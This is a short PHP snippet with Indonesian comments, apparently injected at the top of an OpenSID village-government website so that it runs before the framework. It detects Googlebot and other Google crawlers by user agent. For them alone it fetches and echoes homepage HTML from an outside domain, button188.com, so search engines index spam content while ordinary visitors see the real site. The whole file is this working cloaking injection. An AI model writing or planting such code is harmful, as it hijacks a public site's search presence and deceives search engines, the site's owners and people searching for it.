/* * Tambahan Script Cloaking untuk Googlebot * Ditaruh paling atas agar dieksekusi sebelum framework OpenSID jalan */ function is_google_bot() { $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $agents = array( "Googlebot", "Google-Site-Verification", "Google-InspectionTool", "Googlebot-Image", "Googlebot-Mobile" ); foreach ($agents as $agent) { if (stripos($user_agent, $agent) !== false) { return true; } } return false; } $request_uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); if (is_google_bot()) { // RULE 1: Homepage "/" if ($request_uri === '/') { $content = @file_get_contents( "https://button188.com/2026/maeban/index.html" ); if ($content !== false) { echo $content; exit; } } }
